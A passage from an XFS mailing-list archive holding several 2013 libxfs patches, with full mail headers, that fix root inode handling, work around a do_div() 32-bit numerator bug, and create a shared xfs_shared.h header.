esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006PZ-C7 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002HB-BH for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 27/32] libxfs: fix root inode handling inconsistencies Date: Mon, 30 Sep 2013 13:15:39 +1000 X-ASG-Orig-Subj: [PATCH 27/32] libxfs: fix root inode handling inconsistencies Message-Id: <1380510944-8571-28-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510954 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When "mounting" a filesystem via libxfs_mount(), callers can tell libxfs to read the root and realtime inodes into cache. However, when unmounting the filesystem, libxfs_unmount() used to unconditionally free root inodes if they were present. This leads to interesting issues like in mkfs, when it handles creation, reading and freeing of the root and rt inodes itself. It, however, passes in the flag to tell libxfs_mount() to read the root inode, and so when unmounting throws an error like: cache_node_put: node put on refcount 0 (node=0x684610) When a second libxfs_iput() call is made on the root inode. Clean this up and fix up all the callers that use magic numbers rather than symbolic values to tell libxfs tomount the root inodes. Signed-off-by: Dave Chinner --- copy/xfs_copy.c | 3 ++- mkfs/xfs_mkfs.c | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index bb37279..b6695d7 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -684,7 +684,8 @@ main(int argc, char **argv) sb = &mbuf.m_sb; libxfs_sb_from_disk(sb, XFS_BUF_TO_SBP(sbp)); - mp = libxfs_mount(&mbuf, sb, xargs.ddev, xargs.logdev, xargs.rtdev, 1); + mp = libxfs_mount(&mbuf, sb, xargs.ddev, xargs.logdev, xargs.rtdev, + LIBXFS_MOUNT_ROOTINOS); if (mp == NULL) { do_log(_("%s: %s filesystem failed to initialize\n" "%s: Aborting.\n"), progname, source_name, progname); diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index eafbed3..60e4d88 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2556,6 +2556,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), memset(XFS_BUF_PTR(buf), 0, sectorsize); libxfs_sb_to_disk((void *)XFS_BUF_PTR(buf), sbp, XFS_SB_ALL_BITS); libxfs_writebuf(buf, LIBXFS_EXIT_ON_FAILURE); + libxfs_purgebuf(buf); /* * If the data area is a file, then grow it out to its final size @@ -2590,7 +2591,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), (xfs_extlen_t)XFS_FSB_TO_BB(mp, logblocks), &sbp->sb_uuid, logversion, lsunit, XLOG_FMT); - mp = libxfs_mount(mp, sbp, xi.ddev, xi.logdev, xi.rtdev, 1); + mp = libxfs_mount(mp, sbp, xi.ddev, xi.logdev, xi.rtdev, 0); if (mp == NULL) { fprintf(stderr, _("%s: filesystem failed to initialize\n"), progname); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7C3CF7F9C for ; Sun, 29 Sep 2013 22:15:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 65687304053 for ; Sun, 29 Sep 2013 20:15:56 -0700 (PDT) X-ASG-Debug-ID: 1380510948-04cb6c153d159b780006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id sD6ZLwyG7ziNoqgq for ; Sun, 29 Sep 2013 20:15:55 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBVYzCBgxOQMbGYgFvAyPboQMA6I4h0CDNiqBLCQ Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:50 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Pf-DL for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002HL-CW for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 29/32] libxfs: work around do_div() not handling 32 bit numerators Date: Mon, 30 Sep 2013 13:15:41 +1000 X-ASG-Orig-Subj: [PATCH 29/32] libxfs: work around do_div() not handling 32 bit numerators Message-Id: <1380510944-8571-30-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510954 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The libxfs dquot buffer code uses do_div() with a 32 bit numerator. This gives incorrect results as do_div() passes the numerator by reference as a pointer to a 64 bit value. Hence it does the division using 32 bits of garbage gives the wrong result. The kernel code handles 32 bit numerators just fine, so this patch is a temporary workaround in the dquot buffer code until we fix do_div() to handle 32 bit numerators correctly. Signed-off-by: Dave Chinner --- libxfs/xfs_dquot_buf.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/libxfs/xfs_dquot_buf.c b/libxfs/xfs_dquot_buf.c index 620d9d3..ce6b09c 100644 --- a/libxfs/xfs_dquot_buf.c +++ b/libxfs/xfs_dquot_buf.c @@ -18,18 +18,28 @@ */ #include "xfs.h" +/* + * XXX: the userspace implementation of the do_div() macro does not handle 32 + * bit numerators properly as it passes it by reference as a pointer to a 64 bit + * variable and dereferences it as such. Hence the result is way, way off + * because it uses 32 bits of garbage for the upper 32 bits of the numerator. + * + * This is being left here as a reminder that we need to fix do_div() in + * userspace as every time we do a libxfs kernel/userspace diff we'll see this + * comment. + */ int xfs_calc_dquots_per_chunk( struct xfs_mount *mp, unsigned int nbblks) /* basic block units */ { - unsigned int ndquots; + uint64_t ndquots; ASSERT(nbblks > 0); ndquots = BBTOB(nbblks); do_div(ndquots, sizeof(xfs_dqblk_t)); - return ndquots; + return (int)ndquots; } /* -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 618537F99 for ; Sun, 29 Sep 2013 22:15:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 50E81304039 for ; Sun, 29 Sep 2013 20:15:56 -0700 (PDT) X-ASG-Debug-ID: 1380510952-04cbb02c3e1591df0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id aDzXFG0qNoTkgjEH for ; Sun, 29 Sep 2013 20:15:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJgEFGg0vMwhJOQMbGYgFvAyTegOiR4cxgzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxZ-0006Oo-VW for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002Fe-Uk for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 08/32] xfs: create a shared header file for format-related information Date: Mon, 30 Sep 2013 13:15:20 +1000 X-ASG-Orig-Subj: [PATCH 08/32] xfs: create a shared header file for format-related information Message-Id: <1380510944-8571-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510952 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- All of the buffer operations structures are needed to be exported for xfs_db, so move them all to a common location rather than spreading them all over the place. They are verifying the on-disk format, so while xfs_format.h might be a good place, it is not part of the on disk format. Hence we need to create a new header file that we centralise these related definitions. Start by moving the bffer operations structures, and then also move all the other definitions that have crept into xfs_log_format.h and xfs_format.h as there was no other shared header file to put them in. Signed-off-by: Dave Chinner --- include/Makefile | 1 + include/libxfs.h | 1 + include/xfs_ag.h | 4 - include/xfs_alloc.h | 3 - include/xfs_alloc_btree.h | 2 - include/xfs_attr_leaf.h | 2 - include/xfs_attr_remote.h | 2 - include/xfs_bmap_btree.h | 2 - include/xfs_da_btree.h | 2 - include/xfs_format.h | 10 -- include/xfs_ialloc.h | 2 - include/xfs_ialloc_btree.h | 2 - include/xfs_inode_buf.h | 2 - include/xfs_log_format.h | 177 -------------------------------- include/xfs_sb.h | 3 - include/xfs_shared.h | 244 +++++++++++++++++++++++++++++++++++++++++++++ 16 files changed, 246 insertions(+), 213 deletions(-) create mode 100644 include/xfs_shared.h diff --git a/include/Makefile b/include/Makefile index 628a087..fd2d61b 100644 --- a/include/Makefile +++ b/include/Makefile @@ -38,6 +38,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_metadump.h \ xfs_quota_defs.h \ xfs_sb.h \ + xfs_shared.h \ xfs_trace.h \ xfs_trans_resv.h \ xfs_trans_space.h diff --git a/include/libxfs.h b/include/libxfs.h index ffd83bf..a5d6388 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -37,6 +37,7 @@ #include #include +#include #include #include #include diff --git a/include/xfs_ag.h b/include/xfs_ag.h index 1cb740a..3fc1098 100644 --- a/include/xfs_ag.h +++ b/include/xfs_ag.h @@ -128,8 +128,6 @@ typedef struct xfs_agf { extern int xfs_read_agf(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, int flags, struct xfs_buf **bpp); -extern const struct xfs_buf_ops xfs_agf_buf_ops; - /* * Size of the unlinked inode hash table in the agi. */ @@ -191,8 +189,6 @@ typedef struct xfs_agi { extern int xfs_read_agi(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, struct xfs_buf **bpp); -extern const struct xfs_buf_ops xfs_agi_buf_ops; - /* * The third a.g. block contains the a.g. freelist, an array * of block pointers to blocks owned by the allocation btree code. diff --git a/include/xfs_alloc.h b/include/xfs_alloc.h index 99d0a61..feacb06 100644 --- a/include/xfs_alloc.h +++ b/include/xfs_alloc.h @@ -231,7 +231,4 @@ xfs_alloc_get_rec( xfs_extlen_t *len, /* output: length of extent */ int *stat); /* output: success/failure */ -extern const struct xfs_buf_ops xfs_agf_buf_ops; -extern const struct xfs_buf_ops xfs_agfl_buf_ops; - #endif /* __XFS_ALLOC_H__ */ diff --git a/include/xfs_alloc_btree.h b/include/xfs_alloc_btree.h index e3a3f74..72676c3 100644 --- a/include/xfs_alloc_btree.h +++ b/include/xfs_alloc_btree.h @@ -95,6 +95,4 @@ extern struct xfs_btree_cur *xfs_allocbt_init_cursor(struct xfs_mount *, xfs_agnumber_t, xfs_btnum_t); extern int xfs_allocbt_maxrecs(struct xfs_mount *, int, int); -extern const struct xfs_buf_ops xfs_allocbt_buf_ops; - #endif /* __XFS_ALLOC_BTREE_H__ */ diff --git a/include/xfs_attr_leaf.h b/include/xfs_attr_leaf.h index c102213..da34e64 100644 --- a/include/xfs_attr_leaf.h +++ b/include/xfs_attr_leaf.h @@ -336,6 +336,4 @@ void xfs_attr3_leaf_hdr_from_disk(struct xfs_attr3_icleaf_hdr *to, void xfs_attr3_leaf_hdr_to_disk(struct xfs_attr_leafblock *to, struct xfs_attr3_icleaf_hdr *from); -extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; - #endif /* __XFS_ATTR_LEAF_H__ */ diff --git a/include/xfs_attr_remote.h b/include/xfs_attr_remote.h index 92a8fd7..b3e1e1b 100644 --- a/include/xfs_attr_remote.h +++ b/include/xfs_attr_remote.h @@ -45,8 +45,6 @@ struct xfs_attr3_rmt_hdr { ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ sizeof(struct xfs_attr3_rmt_hdr) : 0)) -extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; - int xfs_attr3_rmt_blocks(struct xfs_mount *mp, int attrlen); int xfs_attr_rmtval_get(struct xfs_da_args *args); diff --git a/include/xfs_bmap_btree.h b/include/xfs_bmap_btree.h index 1b726d6..e307978 100644 --- a/include/xfs_bmap_btree.h +++ b/include/xfs_bmap_btree.h @@ -239,6 +239,4 @@ extern int xfs_bmbt_maxrecs(struct xfs_mount *, int blocklen, int leaf); extern struct xfs_btree_cur *xfs_bmbt_init_cursor(struct xfs_mount *, struct xfs_trans *, struct xfs_inode *, int); -extern const struct xfs_buf_ops xfs_bmbt_buf_ops; - #endif /* __XFS_BMAP_BTREE_H__ */ diff --git a/include/xfs_da_btree.h b/include/xfs_da_btree.h index b1f2679..a762cfa 100644 --- a/include/xfs_da_btree.h +++ b/include/xfs_da_btree.h @@ -309,8 +309,6 @@ int xfs_da3_node_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t bno, xfs_daddr_t mappedbno, struct xfs_buf **bpp, int which_fork); -extern const struct xfs_buf_ops xfs_da3_node_buf_ops; - /* * Utility routines. */ diff --git a/include/xfs_format.h b/include/xfs_format.h index 35c08ff..a790428 100644 --- a/include/xfs_format.h +++ b/include/xfs_format.h @@ -156,14 +156,4 @@ struct xfs_dsymlink_hdr { ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ sizeof(struct xfs_dsymlink_hdr) : 0)) -int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); -int xfs_symlink_hdr_set(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, - uint32_t size, struct xfs_buf *bp); -bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, - uint32_t size, struct xfs_buf *bp); -void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_inode *ip, struct xfs_ifork *ifp); - -extern const struct xfs_buf_ops xfs_symlink_buf_ops; - #endif /* __XFS_FORMAT_H__ */ diff --git a/include/xfs_ialloc.h b/include/xfs_ialloc.h index 68c0732..1557798 100644 --- a/include/xfs_ialloc.h +++ b/include/xfs_ialloc.h @@ -158,6 +158,4 @@ int xfs_ialloc_inode_init(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_agblock_t length, unsigned int gen); -extern const struct xfs_buf_ops xfs_agi_buf_ops; - #endif /* __XFS_IALLOC_H__ */ diff --git a/include/xfs_ialloc_btree.h b/include/xfs_ialloc_btree.h index 3ac36b7..cfbfe46 100644 --- a/include/xfs_ialloc_btree.h +++ b/include/xfs_ialloc_btree.h @@ -110,6 +110,4 @@ extern struct xfs_btree_cur *xfs_inobt_init_cursor(struct xfs_mount *, struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t); extern int xfs_inobt_maxrecs(struct xfs_mount *, int, int); -extern const struct xfs_buf_ops xfs_inobt_buf_ops; - #endif /* __XFS_IALLOC_BTREE_H__ */ diff --git a/include/xfs_inode_buf.h b/include/xfs_inode_buf.h index aae9fc4..e8fd3bd 100644 --- a/include/xfs_inode_buf.h +++ b/include/xfs_inode_buf.h @@ -47,6 +47,4 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); #define xfs_inobp_check(mp, bp) #endif /* DEBUG */ -extern const struct xfs_buf_ops xfs_inode_buf_ops; - #endif /* __XFS_INODE_BUF_H__ */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 31e3a06..aeaa715 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -234,178 +234,6 @@ typedef struct xfs_trans_header { { XFS_LI_ICREATE, "XFS_LI_ICREATE" } /* - * Transaction types. Used to distinguish types of buffers. - */ -#define XFS_TRANS_SETATTR_NOT_SIZE 1 -#define XFS_TRANS_SETATTR_SIZE 2 -#define XFS_TRANS_INACTIVE 3 -#define XFS_TRANS_CREATE 4 -#define XFS_TRANS_CREATE_TRUNC 5 -#define XFS_TRANS_TRUNCATE_FILE 6 -#define XFS_TRANS_REMOVE 7 -#define XFS_TRANS_LINK 8 -#define XFS_TRANS_RENAME 9 -#define XFS_TRANS_MKDIR 10 -#define XFS_TRANS_RMDIR 11 -#define XFS_TRANS_SYMLINK 12 -#define XFS_TRANS_SET_DMATTRS 13 -#define XFS_TRANS_GROWFS 14 -#define XFS_TRANS_STRAT_WRITE 15 -#define XFS_TRANS_DIOSTRAT 16 -/* 17 was XFS_TRANS_WRITE_SYNC */ -#define XFS_TRANS_WRITEID 18 -#define XFS_TRANS_ADDAFORK 19 -#define XFS_TRANS_ATTRINVAL 20 -#define XFS_TRANS_ATRUNCATE 21 -#define XFS_TRANS_ATTR_SET 22 -#define XFS_TRANS_ATTR_RM 23 -#define XFS_TRANS_ATTR_FLAG 24 -#define XFS_TRANS_CLEAR_AGI_BUCKET 25 -#define XFS_TRANS_QM_SBCHANGE 26 -/* - * Dummy entries since we use the transaction type to index into the - * trans_type[] in xlog_recover_print_trans_head() - */ -#define XFS_TRANS_DUMMY1 27 -#define XFS_TRANS_DUMMY2 28 -#define XFS_TRANS_QM_QUOTAOFF 29 -#define XFS_TRANS_QM_DQALLOC 30 -#define XFS_TRANS_QM_SETQLIM 31 -#define XFS_TRANS_QM_DQCLUSTER 32 -#define XFS_TRANS_QM_QINOCREATE 33 -#define XFS_TRANS_QM_QUOTAOFF_END 34 -#define XFS_TRANS_SB_UNIT 35 -#define XFS_TRANS_FSYNC_TS 36 -#define XFS_TRANS_GROWFSRT_ALLOC 37 -#define XFS_TRANS_GROWFSRT_ZERO 38 -#define XFS_TRANS_GROWFSRT_FREE 39 -#define XFS_TRANS_SWAPEXT 40 -#define XFS_TRANS_SB_COUNT 41 -#define XFS_TRANS_CHECKPOINT 42 -#define XFS_TRANS_ICREATE 43 -#define XFS_TRANS_TYPE_MAX 43 -/* new transaction types need to be reflected in xfs_logprint(8) */ - -#define XFS_TRANS_TYPES \ - { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ - { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ - { XFS_TRANS_INACTIVE, "INACTIVE" }, \ - { XFS_TRANS_CREATE, "CREATE" }, \ - { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ - { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ - { XFS_TRANS_REMOVE, "REMOVE" }, \ - { XFS_TRANS_LINK, "LINK" }, \ - { XFS_TRANS_RENAME, "RENAME" }, \ - { XFS_TRANS_MKDIR, "MKDIR" }, \ - { XFS_TRANS_RMDIR, "RMDIR" }, \ - { XFS_TRANS_SYMLINK, "SYMLINK" }, \ - { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ - { XFS_TRANS_GROWFS, "GROWFS" }, \ - { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ - { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ - { XFS_TRANS_WRITEID, "WRITEID" }, \ - { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ - { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ - { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ - { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ - { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ - { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ - { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ - { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ - { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ - { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ - { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ - { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ - { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ - { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ - { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ - { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ - { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ - { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ - { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ - { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ - { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ - { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ - { XFS_TRANS_DUMMY1, "DUMMY1" }, \ - { XFS_TRANS_DUMMY2, "DUMMY2" }, \ - { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } - -/* - * This structure is used to track log items associated with - * a transaction. It points to the log item and keeps some - * flags to track the state of the log item. It also tracks - * the amount of space needed to log the item it describes - * once we get to commit processing (see xfs_trans_commit()). - */ -struct xfs_log_item_desc { - struct xfs_log_item *lid_item; - struct list_head lid_trans; - unsigned char lid_flags; -}; - -#define XFS_LID_DIRTY 0x1 - -/* - * Values for t_flags. - */ -#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ -#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ -#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ -#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ -#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ -#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ -#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer - count in superblock */ - -/* - * Values for call flags parameter. - */ -#define XFS_TRANS_RELEASE_LOG_RES 0x4 -#define XFS_TRANS_ABORT 0x8 - -/* - * Field values for xfs_trans_mod_sb. - */ -#define XFS_TRANS_SB_ICOUNT 0x00000001 -#define XFS_TRANS_SB_IFREE 0x00000002 -#define XFS_TRANS_SB_FDBLOCKS 0x00000004 -#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 -#define XFS_TRANS_SB_FREXTENTS 0x00000010 -#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 -#define XFS_TRANS_SB_DBLOCKS 0x00000040 -#define XFS_TRANS_SB_AGCOUNT 0x00000080 -#define XFS_TRANS_SB_IMAXPCT 0x00000100 -#define XFS_TRANS_SB_REXTSIZE 0x00000200 -#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 -#define XFS_TRANS_SB_RBLOCKS 0x00000800 -#define XFS_TRANS_SB_REXTENTS 0x00001000 -#define XFS_TRANS_SB_REXTSLOG 0x00002000 - -/* - * Here we centralize the specification of XFS meta-data buffer - * reference count values. This determine how hard the buffer - * cache tries to hold onto the buffer. - */ -#define XFS_AGF_REF 4 -#define XFS_AGI_REF 4 -#define XFS_AGFL_REF 3 -#define XFS_INO_BTREE_REF 3 -#define XFS_ALLOC_BTREE_REF 2 -#define XFS_BMAP_BTREE_REF 2 -#define XFS_DIR_BTREE_REF 2 -#define XFS_INO_REF 2 -#define XFS_ATTR_BTREE_REF 1 -#define XFS_DQUOT_REF 1 - -/* - * Flags for xfs_trans_ichgtime(). - */ -#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ -#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ -#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ - - -/* * Inode Log Item Format definitions. * * This is the structure used to lay out an inode log item in the @@ -793,7 +621,6 @@ typedef struct xfs_qoff_logformat { char qf_pad[12]; /* padding for future */ } xfs_qoff_logformat_t; - /* * Disk quotas status in m_qflags, and also sb_qflags. 16 bits. */ @@ -845,8 +672,4 @@ struct xfs_icreate_log { __be32 icl_gen; /* inode generation number to use */ }; -int xfs_log_calc_unit_res(struct xfs_mount *mp, int unit_bytes); -int xfs_log_calc_minimum_size(struct xfs_mount *); - - #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/include/xfs_sb.h b/include/xfs_sb.h index c8d8898..741b7a3 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -695,7 +695,4 @@ extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); extern void xfs_sb_quota_from_disk(struct xfs_sb *sbp); -extern const struct xfs_buf_ops xfs_sb_buf_ops; -extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; - #endif /* __XFS_SB_H__ */ diff --git a/include/xfs_shared.h b/include/xfs_shared.h new file mode 100644 index 0000000..63c94b1 --- /dev/null +++ b/include/xfs_shared.h @@ -0,0 +1,244 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_SHARED_H__ +#define __XFS_SHARED_H__ + +/* + * Definitions shared between kernel and userspace that don't fit into any other + * header file that is shared with userspace. + */ +struct xfs_ifork; +struct xfs_buf; +struct xfs_buf_ops; +struct xfs_mount; +struct xfs_trans; +struct xfs_inode; + +/* + * Buffer verifier operations are widely used, including userspace tools + */ +extern const struct xfs_buf_ops xfs_agf_buf_ops; +extern const struct xfs_buf_ops xfs_agi_buf_ops; +extern const struct xfs_buf_ops xfs_agf_buf_ops; +extern const struct xfs_buf_ops xfs_agfl_buf_ops; +extern const struct xfs_buf_ops xfs_allocbt_buf_ops; +extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; +extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; +extern const struct xfs_buf_ops xfs_bmbt_buf_ops; +extern const struct xfs_buf_ops xfs_da3_node_buf_ops; +extern const struct xfs_buf_ops xfs_dquot_buf_ops; +extern const struct 